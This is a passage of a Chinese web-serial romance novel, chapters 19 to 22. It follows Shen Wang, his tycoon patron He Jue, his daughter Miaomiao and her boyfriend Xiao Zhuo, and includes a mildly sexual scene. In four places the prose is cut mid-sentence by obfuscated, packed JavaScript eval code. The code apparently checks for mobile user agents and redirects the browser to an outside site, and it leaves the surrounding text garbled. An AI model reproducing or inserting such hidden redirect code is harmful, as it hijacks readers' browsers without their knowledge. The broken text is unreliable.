说着给沈妙妙转账两万元,原本是打算再多给一点的,京城的消费水平高,年轻的女孩子们又都喜欢打扮得漂漂亮亮。 沈望说,“我听来买菜的一个保姆说,她帮忙干活家的小女儿也是大学生,平常用的都是高级化妆品,你也去买点用,漂亮的女孩子就要精养,爸爸最近挣了不少钱,一点都不用替我省钱。” 沈妙妙看到转账的20000,心底五味杂陈,倒不是说沈望平常小气,爸爸对她一直十分大方。 若是以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14380030|152650||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 前,沈妙妙可能会收下先攒起来。 可是现在,她对这笔钱的成分或多或少产生怀疑。 沈妙妙忽然自责地问,“爸爸,养我是不是很费钱啊?” 沈望抽了抽鼻子,笑意盈盈道,“怎么会呢?我的公主一点也不费钱,爸爸生意好,挣这么一点钱完全是分分钟钟的事。” 沈妙妙只得改变话题,又撒起娇说,“我们的联合运动会开幕式在明晚,真希望爸爸也能来看看我,这样我在舞台上也就更有底气了。” 沈望满口应声说,“我跟晓璇她们打好招呼了,让她们一定要帮我把现场录下来,到时候可以反复观看,爸爸虽然不在,但是妙妙公主要加油哦!” 父女俩关掉电话。 沈望蹑手蹑脚下楼转了一圈,恰好遇见准备菜谱的赵管家,微笑着打招呼。 赵管家问他,“沈先生怎么下一楼来了?是口渴了吗?我去给您送解渴的西瓜汁。” 沈望道,“不不,我是来问一下,鹤爵明天晚上回家吗?有没有什么应酬?” 赵管家打开记事簿,看了一眼道,“居然还真的有,鹤先生明天与隆泰建筑的张总约在高尔夫球场,估计晚上回来也晚一些。” 有点奇怪问,“怎么了?您是有什么重要的安排吗?” 沈望心底长舒一口气,真是太好了,这样他就可以在八点钟去参加女儿主持的开幕式晚会,在鹤爵回家的时候赶回来给人拥抱。 沈望摇摇手道,“没事没事,我就是随口问了一下,没什么特别的意思。” 自己拿了新榨的西瓜汁,转身上去三楼。 赵管家也没怎么当作一回事,安排好最近几天的菜谱,再去看看少爷那边有什么吩咐。 鹤爵手中转动着钢笔,有一搭没一搭地点着电脑屏幕,眼神深邃而放空,俨然是没有专心做事。 赵管家敲门进来,询问鹤爵明天去高尔夫球场要带哪一套装备,搭配什么款式的衣服和鞋饰,以及准备赠送的礼物。 鹤爵点名要了那套有老虎伍兹签名的球杆套组,说送那套即可。 又在赵管家准备离开前,问了一嘴,“家里好安静,如果不知道,还以为只有我一个人在生活。” 赵管家心领神会道,“沈先生刚才下楼喝水,还说怎么没有看见您呢?” 鹤爵手里的钢笔一停滞,“说到喝水,我也有点口渴,现在厨房里应该有冰镇好的西瓜汁吧?” 沈望是最爱喝西瓜汁的。 这家伙贪凉,喝多了肚子要疼。 赵管家道,“沈先生已经拿着西瓜汁上楼了。” 鹤爵重新捡起钢笔,“也对,临睡前喝甜的不健康,也就只有这家伙一点都不注重养生。” 赵管家说,“不过沈先生刚才看见我,偷偷问我少爷您明晚几点钟回来,我看他像是有什么准备似的,不知道是不是要跟少爷您道歉示好。” 鹤爵冷哼一声,“他浑身上下嘴最硬,脑子最笨,怎么可能知道自己的问题出在哪里?” 像是将两人之间的小矛盾翻篇了。 握起笔在纸上写了几个“沈望”,淡淡凝视着这个名字的每一个可爱之处,淡道,“我最近有点累不想出门,明晚的会见安排秘书去吧。” 19.第 19 章 沈望自然不知道这两人之间的谈话,对于这位当之不愧的女儿奴,自然要把沈妙妙的事情摆放在第一位。 实在搞不清楚两人之间谈了一下这个世界的背景,究竟是怎么把关系弄僵的。 难道说,鹤爵觉得自己不是这个世界最厉害的龙傲天,生气了? 沈望想着自己怎么也是拿钱帮人治病,尤其对方在自己生命最黑暗的时期,曾经朝自己递出了橄榄枝。 他总不好对救命恩人外加金主大人给脸色吧? 所以沈望趁鹤爵享用早餐的时候,自己跑去健身房疯狂锻炼,然后带着一身香喷喷的汗水气息,在鹤爵即将出门之际,偷偷从后面抱住了要走的男人。 鹤爵的后背坚实又宽阔,像一块铜墙铁壁铸成的军港,百无破绽才容易使人安心无比。 沈望主动踮起脚尖从后背往上滑动,一双热汗淋漓的手臂幸亏长度足够,在鹤爵的领口打了个结,小手指甚至能勾动领带间的钻石领带结。 这个动作不但亲昵,而且还十分舒服呢。 沈望不禁更贴紧了对方的曲线,企图把自己的体香湿漉漉地沾满某人的后背。 有点底气不足问着,“你感觉自己的嗅觉,有好一点趋势吗?” 鹤爵竟一句话也没回复,更看不清面部的具体表情,浑身的肌肉线条紧绷得像箭弦。 赵管家一瞧这可不得了,一般不会随便打扰俩人的相处,一把将沈望的手臂搀扶住,低声细语,“沈先生您忘记了,那1702条的事情。” 鹤爵一贯挑剔,处理生活与工作一样,对于细节的微处极其敏锐,可以说敏锐到敏感,敏感到莫名其妙的程度。 “爵爷不喜欢人从背后碰触。” 此处使用爵爷这个称呼,更是为了提醒沈望注意身份,无论鹤爵平常怎么待他不同,在某些地方还是需要格外注意一些。 沈望哦了一声,道歉的话也没来得及讲,鹤爵闷不吭声地走出房间,连背影亦能冰冻三尺,寒传百里。 沈望小声地牢骚了一句,“他居然有这么龟毛的吗?难怪我说他不是龙傲天本尊,他气我这么多天。” 鹤爵在司机的尊请之下,大步跨进了车舱后座,声音随着紧抿的嘴唇冷道,“隔板升起来。” 司机一听完蛋了,老板今天生气了,接下来绝对是不能再出一点差错的情况,否则非得给他原地开除不可! 赶紧将隔板升起。 鹤爵冷若冰霜地坐在真皮沙发间,一双眼死死盯住隔板封住最后一丝空隙。 然后,他将身上的西装以迅雷不及掩耳之势脱了下来,一把捂在冷酷的面孔之上,努力抑制自己言行举止间的狂躁,实际上修炼了三十几年的修养,根本难以匹敌现在的躁动不安。 这是什么香气?! 这是什么香气!! 鹤爵确信自己的嗅觉还没有恢复的迹象,将沈望强行留在身边也是自有安排。 可今天这种情况与之前截然不同,即使沈望从背后抱住了他,现在也没与他共同处于密闭的空间。 可就是受不了! 从肢体发肤间受不了!从五脏六腑间受不了,连他固若金汤的孤独灵魂也受不了! 太香了!这滋味儿香得令人心荡神驰,把持不住任何风度! 鹤爵紧攥着掌心的西装外套,高挺的鼻子深深地掩埋入褶皱之内,不停地探索,不停地呼吸。 这件西装是聘请国外高级裁缝特殊定制的,柞绸的面料通透舒适,沈望的汗渍淡淡得印在青灰色的面料之间,仿佛这个人温软的触感依旧停留在后背,使得鹤爵整个人都敏感无比。 他大口地吸,令每一股芬芳馥郁的香气涌入鼻腔,咽入气管,又被肺腔狠狠地吸纳吞噬,最终才从口部,随着剧烈的呼吸慢慢释放。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14390687|152650||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >鹤爵一向是京城有名的性冷感太子爷,从年少成名,再到征伐商界,敌人树立无数,对手扳倒万千,从来都是风轻云淡,谈笑间樯橹飞回湮灭的做派。 人称京圈的西装佛子,一星半点的荤腥从没沾过,红男绿女更是眼底的一抹轻烟,完全无视放空。 而现在的京圈西装佛子在做什么? 居然抱着某人汗水沾过的西装,贪婪得像一只即将挣脱人皮的恶兽。 鹤爵不知为何这次的情绪来的如此猛烈,只知道浑身沉浸在某种快乐的情绪之中。 而这份快乐是谁给的? 鹤爵知道。 鹤爵努力平衡着快要崩坏的神经,找到能恢复正常的节点。 可他好疼,那里好疼,以至于裁缝师傅量体裁衣的手艺,在某个部分不断膨胀到难以消磨的程度,快要把布料生硬地崩坏了。 “该死,这裤子好紧。”鹤爵难受地扯了扯裤带,甚至破天荒地将拉链打开了一些。 深呼吸,放平衡,深呼吸,放平衡。 鹤爵缓缓地调节着全部的不适,令浑身的燥火慢慢又重新压回了端庄自持的体内。 拉锁和皮带很快又调整得服帖得体。 鹤爵将怀中揉搓到狼藉的外套叠得整整齐齐,待浮在肤表的红晕散退干净。 才用一贯清冷的仪态打了电话,朝电话内的私人秘书说道。 “送一套大一码的西装过来,还有供在庙里的翡翠佛珠一并取回来。” 临了,将目光投递在皱乱不堪的西装间,上面混合了他的汗液,手指的痕迹错综复杂,俨然要将布料撕碎似的。 “年轻人一般享受二人世界,喜欢去什么餐厅比较浪漫,一定要清场,不要放人进来打扰。” 秘书顿悟,很贴心地回了一句。 鹤爵立刻冷道,“不,不需要有酒店房间的,暂时还没那个需要。” 20.第 20 章 京大联合的五所国内顶尖大学,最终选择在城内有名的小巨蛋内进行狂欢。 晚会不但邀请了各个名校的校委会成员,同时还邀请市长和市政府公职人员,以及各方各界响当当的人物参加,十几家媒体平台轮番抢占了最佳拍摄地点,纷纷架起摄像仪器记录当晚盛况。 作为学生家长,沈望是根本没有机会进去,小巨蛋内坐着满满的大学生,每一个都朝气蓬勃、青春洋溢。 沈望原本以为这次失算了,混弄这边的保安和警察,可比起混进京大的难度要高。 满心满眼想要看女儿的愿望落空了,沈望打算在四周转一转,听一听会场里的热闹也挺知足的。 哪知他刚准备转身离去,肩膀被人拍了一把,门口监管会场安全的人堆里忽然冒出来一个英俊的帅哥,脖子上挂着工作牌,应该是学生会组织的志愿者,协助维持会场秩序。 “真是菜子落到针眼里——凑巧了,这是我们同学,估计忘记带证件了,警察叔叔给通融一下呗?”男生朝拦住沈望的警察露出微笑。 看起来挺人畜无害的。 警察使劲看了沈望几眼,感觉这么年轻漂亮的孩子,应该不会有什么危险,扫扫手道,“进去吧,不过进场不准瞎跑!” 那男生将沈望的手一抓,沈望就像一只随人操纵的风筝一般,被扯着挤进了人群。 沈望今天只是做了简单的伪装,穿着两件秋衣遮住浑身的味道,头顶压着低低的鸭舌帽,假如这样的装扮都能叫人给认出来,那对方的观察力也太敏锐了。 沈望跟着对方从中间的甬道入场,往下走全部是普通区,往高处走正对着舞台的则是VIP区。 两人从林林总总的人影中穿梭,朝VIP区方向移动。 沈望好奇问,“小同学,我认识你吗?” 那男生蓦得笑了,“怎么不认识呢?偷窥狂?” 沈望仔细从记忆库中翻找,终于想起来对方正是那天夜总会里,坐在萧诼一群狐朋狗友里的一位。 那男生道,“你那天被突然带走了,搞得萧少爷不爽了很久,派人在京大校园找了你好几天,现在这种情况应该算什么呢?” “守株待兔?还是自投罗网?”男生笑着回头看向沈望,主动打招呼道,“我叫齐豫,你可以记住我的名字,等一会儿萧少爷为难你的时候,你叫我一声,我可以帮你。” 沈望立刻大叫,“那你假装没有看见我不就行了?我才不要去见那个混蛋渣男!” “混蛋渣男?”齐豫闻言愈发笑得开怀,“我倒是听过有人叫他三不男——不留情面、不留余地,还有......不轻易放过任何一个他盯上的人。” 都说男大比老虎钳子还硬,沈望现在相信了,自己被老虎钳子般的男大一路胁迫,走进了VIP通道,绕了一大圈最终走到会场后台。 准备表演的演员们早已经化好妆,耐心等待导播最后的通告。 他在一个化妆间内见到了正在玩手机的萧诼,萧诼今天身边的兄弟不多,也有两三个人陪着他一起联机吃鸡。 齐豫将化妆间的门一关,邀功似地提醒一句,“萧少爷,你众里寻他千百度的人,已经给你找到了。” 萧诼看了一眼沈望,脚底下踩住的板凳踢了一脚,滑到了沈望的膝盖前,“坐吧。” 沈望瞧他流里流气的样子,真是很难喜欢这种类型的男主角,不过有些人是挺喜欢这一款痞帅,专有名词叫做Bite King. 不等沈望坐下,萧诼对齐豫几个人说,“妙妙等几分钟就换装回来了,你们稍微帮我打个掩护,我处理一下。” 处理谁?龙傲天男主是要处理我吗!! 沈望周身一寒,原本是不冷的,被龙傲天男主的双眸一打量,确实有种叠加buff的冷感。 萧诼说,“没想到找了一个星期,完全没找到你的影子,今天是我女朋友最重要的日子,你却自觉露面了,你说,这是不是非常的巧合?” 沈望不想说,只想叫他有屁快放! 萧诼虚空地用手指点了点他的方向,一字字铿锵有力道,“鹤若妍给你多少钱,叫你专门挑拨我俩的关系?” 沈望回嘴地很快,“这种事完全不用鹤若妍给钱吧?”完全属于发自五脏六腑的自发行为啊。 “是吗?”萧诼怎么那么不相信呢? “不要以为我不知道,那天带你走的男人,我找人调查过,是鹤若妍的小叔鹤爵,算是咱京城数一数二的豪门巨鳄,我没说错吧?” 沈望无法抵赖,心说这个臭小子的行动力倒是挺符合男主人设的嘛。 萧诼又说,“鹤若妍一直撺掇他小叔针对萧家,为的是能跟我商业联姻,做我的准未婚妻。” 沈望:“......”不然我回去也试着撺掇一下鹤爵好了。 居然还有这种好用的手段?! 沈望只后悔自己平常忙于生意,豪门电视剧看得太少了,缺乏宅斗技巧。 萧诼又道,“今天是妙妙最重要的一次登台,鹤若妍也是今天登台,而你又偏偏在今天出现,恐怕这里面不会有什么阴谋诡计吧?” (⊙o⊙)… 沈望居然是第一次听说,鹤若妍那个死丫头也被评选为主持人,妙妙从来不在他耳根前讲人坏话,按照每一个龙傲天都是一个预言家的设定,总不会妙妙今天真的会被坏女孩儿针对吧?! 例如在礼服上做手脚,在饮用水里撒泻药之类的。 沈望正打算要询问究竟。 萧诼的耳朵像是安装了雷达似的,冲过来一把摁住他的脖子,将人塞进狭窄的衣柜,沉声警告说,“不准出声,否则后果自负!” 沈望都来不及说出一个不字,被萧诼从衣柜外侧顶住门儿。 沈妙妙穿着典雅的鹅黄色礼服施施然走了进来。 一般女生是不会选择这个色系的礼服,一来是容易称得人皮肤发黄,二来鹅黄属于膨胀色,极容易显得腰肢粗壮。 沈妙妙既然敢穿这款颜色,自然是对身材容貌有着极高的自信心。 她一走进来,恍若仙女下凡。 萧诼不禁被女朋友的美貌与气质吸引,靠过去拦住沈妙妙道,“都准备好了吗?” 沈望夹在狭窄的衣柜里,堪称热过上的蚂蚁,又想大喊大叫引起注意,又怕在女儿最关键的时期,自己千万不要惹祸,只能死死憋住喊叫的念头,从细小的缝隙中张望外面的情况。 沈妙妙说,“还好,就是外面的人挺多的,不知道怎么回事,忽然有点紧张了。” 萧诼真是爱极了她的这一点,从不矫揉造作,是一个至情至善的女孩儿,跟萧诼身边围着的任何一个女孩儿比,都更加的纯洁无瑕。 萧诼执起沈妙妙的手,在手背间轻轻吻了一下,抬起眼神的刹那充满无限溺爱。 “感觉好点了吗?” 沈妙妙与萧诼虽说是男女朋友,但一直发乎情止乎礼,连接吻的事情都没做过。 可能是萧诼的真心逐渐得到印证,通过了女孩子最初设定的考验期。 沈妙妙也有点萌生蠢蠢欲动的情愫,朝对方顽皮一笑。 “好像感觉好了那么一点点。” “是吗?” 萧诼俨然忘记屋内还有一个人的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14404281|152650||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 存在,而这次也逐渐大胆了点,在沈妙妙的额头吻了一口。 “这样子呢?是不是更好了一点?” 沈妙妙莞尔一笑,原本的天生丽质在精致的容妆点缀之下,愈发有种超脱世俗的美。 沈妙妙眨眨眼说,“阿诼你真是个胆小鬼。” 萧诼像是被无形中鼓励了一下,性感的喉结上下滚动了无数次,终于下定决心,要做出这辈子第一次的珍贵献祭。 ——献上他的初吻。 萧诼淡淡地贴近了沈妙妙的香唇。 沈妙妙:“......” 沈妙妙:“阿诼,你有没有闻到这屋子里有股香味?” 萧诼正专心准备接吻,极力忍住冲动,呼吸不停加粗重道,“没有,我眼前只有你最香了,老婆。” 沈妙妙在他即将贴上了的瞬间,将人推开道,“我好像闻见我爸爸的味道了。” 萧诼:“什么?你爸爸不爱洗澡吗?” 沈妙妙笑着锤他一把,“好了,我要上场了。” 萧诼内心无比惋惜,没办法,女朋友要登台了,只能强行搬回逐渐迷离的深思,推着沈妙妙说,“那我护送你过去。” 言罢,一点儿也没留心屋子里逐渐浓郁的气味儿,专注力十足地先做护花使者。 等两人前后脚一出门。 下一秒,从衣柜内冲出一脸杀气的沈望,浑身愤慨的热血使得他的体香浓郁而醉人,若说极浓的香味也是一种凶气。 他早已经在脑海里把萧诼给哔哔哔了十几次了! “我的女儿被猪拱了!!” 沈望伤心欲绝,也没有办法留下来阻住一切,毕竟今天是沈妙妙的大日子,假如他留下来撒泼打滚,搞不好会把父女关系弄臭。 可是不甘心哪! 好不甘心哪! 沈望一辆的悲痛与茫然,忽然想起来一件几乎被自己遗忘的大事。 现在已经晚上八点了!!! 鹤爵这个时间已经回家了啊!! 恢复理智的沈望一路小跑,生怕耽误的时间会更多,直到他掏出手机看了眼时间。 被他调节成震动的手机屏幕,满满都是赵管家的留言。 【沈先生,您什么时候离开家的?怎么没有跟我说一声?】 【爵爷六点钟就回来,说订好了餐厅,您要是能提前回来的话,请尽量早一点。】 【沈先生,您还回家吗?】 沈望暗叫死定了,鼓足勇气给鹤爵打了一个电话,趁着手机尚未接通的功夫,努力编造一个比较像回事的幌子。 电话响了十几下,鹤爵那边才缓缓接通。 沈望笑得十分虚假,对等了自己一晚上的人道,“这个......我出门散了散心,不是故意没接赵叔的电话的。” “赵叔说你晚上不回来吃饭,所以我在路边吃了点。” “鹤爵,你要请人吃饭,也应该早点通知我,所以这次不能怪我,我真的不知道你另有安排。” 沈望越说越心虚,最终乖乖地安静下去。 鹤爵那边沉默了半晌,才道,“我这辈子还没有尝试过,自己一个人坐在餐厅看烟花的滋味。” 他的声音低沉,微微渗透出落寞,使得沈望都禁不住有种跪下来磕头求原谅的冲动。 鹤爵提前预判了他的反应,更为决绝说,“比起关心我,你好像更加关心这个世界是一本小说的事情。” “既然如此,那我倒偏想要试试,做第一个触碰剧情的人,会遭受怎样的报应。” “沈望,你惹我不开心了。” 后果很严重。 21.第 21 章 沈望闻言,急吼吼地冲电话里喊一句,“鹤爵,我警告你,你千万不要冲动!” “萧家绝对不能倒啊!万一倒了的话,咱们的女.......” 沈望及时闭嘴,心里的苦恼随之而来,因为他知道鹤爵是一个说一不二的人,从来如此。 以前他跟在鹤爵身边,只有唯命是从的份儿,如今同样留在鹤爵身边,他明明已经是一个可以掌握人生的自由人,反倒因为某些特殊的原因,戴上更加沉重的枷锁。 原本他只需要一直待在天平的一端,把无关紧要的人高高翘起,一次不小心失误之下,而不得不朝着鹤爵的方向移动了一丁点儿距离,沈望忽然如履薄冰似的,既不能触怒鹤爵,又必须竭力维持女儿这边不会跌落下去。 其实鹤爵并不在乎自己,沈望知道的,假如一个人真的在乎自己,是不会明明拥有只手遮天的能力,却不掘地三尺去找到自己。 即使是现在,也是因为鹤爵需要依靠自己的香味,来治疗他的后遗症。 ——鹤爵从不真正地在乎我,我也并没有什么能在鹤爵面前失去,除了女儿。 鹤爵还从未被人指着鼻子警告过,即使有,大概也已经快要埋入黄土,坟头草有一米高了。 鹤爵问,“咱们的什么?” 沈望说,“……” “鹤爵,我有件事儿一直隐瞒了你,我在离开你的这些年里……我生了个女儿……” “在这个小说世界里,我女儿的身份其实是个可怜的女配,只要萧家一破产,我女儿就会跟着遭殃……” 支支吾吾,断断续续,沈望把事情的真相掐头去尾,给鹤爵讲了一个大概,至于对方怎么决定,已经不是自己这个地位能干预的。 或许鹤爵会挂断电话,立刻叫萧家倾家荡产,或许鹤爵会臭骂他一顿,用尽他惯有的冰冷词汇。 最最最坏的可能。 鹤爵会怀疑他的人品,怀疑他主动靠近过来,吸引注意力,不过是想利用自己的权势。 无论何种结局,沈望都闭上眼睛,如同等待最终的处刑结果。 鹤爵果然是城府颇深的资本大亨,他在沉默了足足五分钟后,陷入一种莫挨老子的极端氛围,嫌弃外包裹着硬壳似的冰冷,厉道,“赵管家会用最快速度给你结账。” 言罢,冷冰冰地掐断了电话。 随着内心什么轰然崩塌的碎裂声,沈望终于能好好地如释重负了,他原本想找个小餐馆庆祝一下,结果双腿一软,直接跪倒在街边的树坑里,起都起不来。 ——这不是很好吗? ——这不是我一直梦寐以求的全剧终吗? ——如果说十几年前是糊里糊涂地逃跑行为,此时此刻,我应该是真正地被鹤爵抛掉了吧? ——我无数次地在后悔和不后悔之间,敲定了最终的答案。 ——我只要守着女儿过一生就够了。 沈望抱住自己的面颊,他以为自己永远不会再有流泪这种反应,哪知道早已干涸的心脏,依旧会因为皲裂的存在,而剧痛不已。 都结束了,都结束了,十几年前拖延到现在的孽缘,总算都结束了。 正在沈望偷偷抹眼泪的时候,他的手机频繁振动不止,先是微信红包,起码发过来上百个不止,接着又是支付宝到账,按照一万元一次的规律。 仿佛为了发泄某种情绪,不停地骚扰了沈望一个多小时。 沈望这把岁数,坐在马路牙子上哭鼻子已经够丢脸了,周围路过的人更是将目光投射在他身上。 “我……我朋友喝醉了,这是我设置的铃声,好听吧?”其实他根本不需要与大惊小怪的行人解释什么。 沈望磕磕绊绊将电话调成静音。 他如今在京城又恢复成无家可归的状态,可是他有钱了,鹤爵强行使用各种APP,短短一个多小时内给他转过来200多万。 沈望犹豫了一下,全部点击接收。 反正他这辈子根本没有走进鹤爵的内心,这样的程度完全算不上是欺骗。 这是他的正常劳务所得。 沈望决定继续潜伏在京大附近,至于大广福的卖鱼摊子,他也思忖着过几天处理掉算了。 他的前半生活得没有自我,后半生只为女儿活,也非常不错。 这个世界上只有一个人爱他,那就是他的小公主。 沈望凌晨一点才找到能住的酒店,大学生联合运动会使得大学城附近所有的住宿场所一售而空。 幸亏他养成了多年的习惯,走到哪里都喜欢携带身份证,要不然炎炎酷夏只能睡公园长廊里。 酒店的规格一般,就是涨价,每分钟都涨几十块,沈望现在对于金钱毫无概念,一头扎进浴缸满满的凉水中,沉淀一下脑海里久久回荡的哀怨。 他不可能不感到悲哀的。 沈望还是想起来了,一点被刻意忽略的细节部分。 场景依旧是在高中校园门口,漂亮的女生拦住他的去路,恳请沈望帮帮忙,说自己打车走了几个小时,从京城以南穿越大半座古都,只为了能见鹤爵一面。 两人是在参加同一场校际知识竞赛上见过一面,女生对鹤爵一见钟情,更是倾心于鹤爵优雅的气质,与渊博的学识储备,觉得鹤爵在同龄男生之中异常优秀,即使不做什么也可以切磋一下学习经验。 沈望紧攥着新校服的半袖,略带学渣才会有的拘谨与紧张,他是听不懂学霸之间是有什么神秘的脑电波互相牵引啦,他自己的脑电波正在不停地发出噼里啪啦的嘈杂声。 女生掏出两份美味情缘的特供蛋糕,塞进沈望怀里,甜腻腻哄道,“不会让你白白跑腿的,这是买给你和鹤爵的,听说你是鹤爵的贴身小弟,以后我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14412399|152650||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们就是好朋友咯。” 沈望还没吃过这样包装的蛋糕,从小到大没有过过一次生日,于是就抱得更紧了一点。 可是一掉头,就一个人偷偷把两份蛋糕全吃掉了,他当时存着可笑的私心,觉得鹤爵万一被这美味糕点糊住了眼睛怎么办呢? 沈望扶着圆滚滚的肚子去找鹤爵,跟他小心翼翼说门口有人找,还一边暗自打着饱嗝,偷窥着鹤爵究竟要不要去。 鹤爵眼睛都不怎么抬,一把捏住他的下巴,居然不偏不倚,给小垃圾沈望吓懵逼了。 “望崽,”鹤爵的拇指指尖粗粝,指腹带着一点养尊处优的柔软,“刚偷吃了什么好吃的,嘴巴都没擦干净,就来招我烦?” 那截拇指凶狠又野蛮,在他沾了奶油的嘴角摩挲一番,又冷酷地舔进自己嘴里,自然而然地说,“你是傻瓜吗?什么样的话也敢传进我的耳朵?” 沈望以为被他看穿偷吃,惊得面红耳赤,结结巴巴解释,“那个……那个……我没吃别人的东西嘴软,那个……你就出去看看呗,……那个女孩子可漂亮了,又特别喜欢你!” “漂亮个屁!你这个……”鹤爵一点即燃,像是被刀子戳了心尖,起身给了沈望一脚。 沈望记得屁股踢得可疼可疼了,实在忍不住这委屈,哇哇哭了起来。 “我就是来传个话,你打我干什么?呜呜……” 鹤爵啧了一声,凶巴巴的模样,脸黑得仿佛笼罩乌云,帅还是特别帅气的,一把抱住哭哭啼啼的沈望,让人坐进自己的怀里,又揉又捏沈望发疼的屁股,恨不能将面团似的肉给戳爆汁了。 “望崽,”鹤爵蹂.躏了半天屁股,火气也渐渐消了,有些失败感十足地摸了摸沈望哭红的眼眶,用一种淡淡的眼神对视着,“你究竟什么时候才能长大呢?” 沈望不明所以,抽抽噎噎说,“我马上十八岁,已经很大了。” 呵。 鹤爵的笑可不怎么友好,警告意味也浓重起来。 “你以后少管我的事情,什么男的女的,不管是谁我都瞧不上,以后不要再犯我的忌讳,不然还踢你,听懂了吗?” 沈望似懂非懂,不过有一句,他听得很明白。 鹤爵不交女朋友。 当然也不交男朋友。 沈望从浴缸中缓缓地冒出半截面孔,使得他的鼻子刚好能保持呼吸姿势。 以前的他从不明白自己究竟是在担心什么?鹤爵给他吃,给他买新校服,打跑了欺凌他的家伙,还教他学习。 自己为什么还总是活在惴惴不安中? 沈望摸了摸腹部的刀疤,每当他想质问自己究竟值不值得的时候,他总会弄得这里发痛。 这是陈年的旧伤,永远不会康复的创痕。 就像他一直都没什么勇气,却深深地喜欢着某个人一样,刻骨铭心到无可奈何。 22.第 22 章 既然主动选择了破釜沉舟的道路,沈望肯定是不会后悔的,他现在只希望鹤爵顾念一点旧情,不要主动去碰触剧情节点,让萧氏过早破产。 所以沈望决定这次不再跟着女儿,免得引起女儿的怀疑,而是将目标转移向了本书男主角——萧诼。 沈望发现有钱真的能使磨推鬼,只要拿着足够的金额,这个社会上有的是人才替他卖力。 例如那种专业性很强的私人侦探,沈望只花了三十几万,不出一周时间,人家侦探就把萧诼目前住的具体地址、父母姓名、Q号微信号油管号一切摸得清清楚楚,还附上萧诼最近出入高级会所、电影院、酒吧餐厅的高清照片。 那侦探神秘兮兮地将一切信息装入牛皮纸袋子,推到沈望面前,笑得极其猥琐道,“只要先生您愿意再出一万元,萧氏太子爷每天跟哪些美女约会、开房,全部都能给你查个明明白白的。” 沈望一听,这太好了,可以抓到萧诼这个瘪犊子玩意儿的把柄,以此要挟分手。 打开文件袋一瞧可不得了,萧诼每一张照片里面的亲密女主角,都是他女儿沈妙妙,俩人除了没有真的去开房,其他地方完全可以使用形影不离来概括。 “妈的!”沈望一拳砸在侦探事务所的办公桌面,“你说这黄毛有什么好的?” 侦探奇怪道,“怎么会不好呢?你知道萧氏集团的年产值是几百亿吗?就算萧氏的太子爷染成赤橙黄绿青蓝紫毛,他要是能瞧得上我,我一点也不CARE。” 沈望觉得他们这种人收钱办事,肯定从骨子里就肤浅。 哪知侦探一双萎靡不振的眼睛居然紧紧盯着自己的手腕,言道,“先生,你这金手镯看起来挺有意思的,应该不是普通的首饰吧?” 确实。 沈望几次想找个金匠把手镯撬开,思来想去又怕弄坏了自己根本赔偿不起。 尤其鹤爵说过,这枚手镯里安装了精密的全球定位系统,即使自己被人沉进海底,也会立刻被卫星搜索到。 若是再早个十几年,沈望会满心欢喜地佩戴这个镯子,而现在,他只希望自己能饿瘦一点,真得将这枚镯子丢进马里亚纳海沟。 侦探说,“看来你知道这手镯大有乾坤,但是你知道这手镯里一直蓝光闪动吗?就在我们聊天的过程中,起码激闪了几十次。” 沈望抬起手腕,并没有捕捉到所谓的蓝光,漠不关心道,“闪就闪了呗,难道金手镯不配闪吗?” 拿到了需要的资料,沈望也没必要浪费更多的时间,根据资料显示,萧诼在京城共有五处私人房产,京大旁边的那一栋是为了方便上下学。 余下的四栋基本都空着,也没有金屋藏娇的痕迹,而他本人则更多时间返回萧家的别墅居住。 沈望不禁怀疑,都已经是男大学生了,居然还能忍受跟父母住在同一个屋檐下,怕不是个活脱脱的妈宝男吧? 直到沈望看见了萧家位于半山腰的别墅,完全像是一座小型的城堡,住在别墅东走向别墅西,恐怕都得需要半小时以上,萧诼随便往哪一个房间里一住,恐怕谁都不要想找到人。 “这家人肯定从来不吵架。”沈望的手搭在眉毛间,简直要欲穷千里目了。 接下来就是顺利混进别墅里。 沈望花了十七八万的关系费,才勉强混进萧家的别墅里当佣人,像他这样只有高中文凭,连进去扫地都会被挑毛拣刺,嫌弃不够资格。 聘用他的劳务公司也是丑话讲在前面,告诫他若不是看在钱的面子上,这种美事肯定是不会轮到他的头上的。 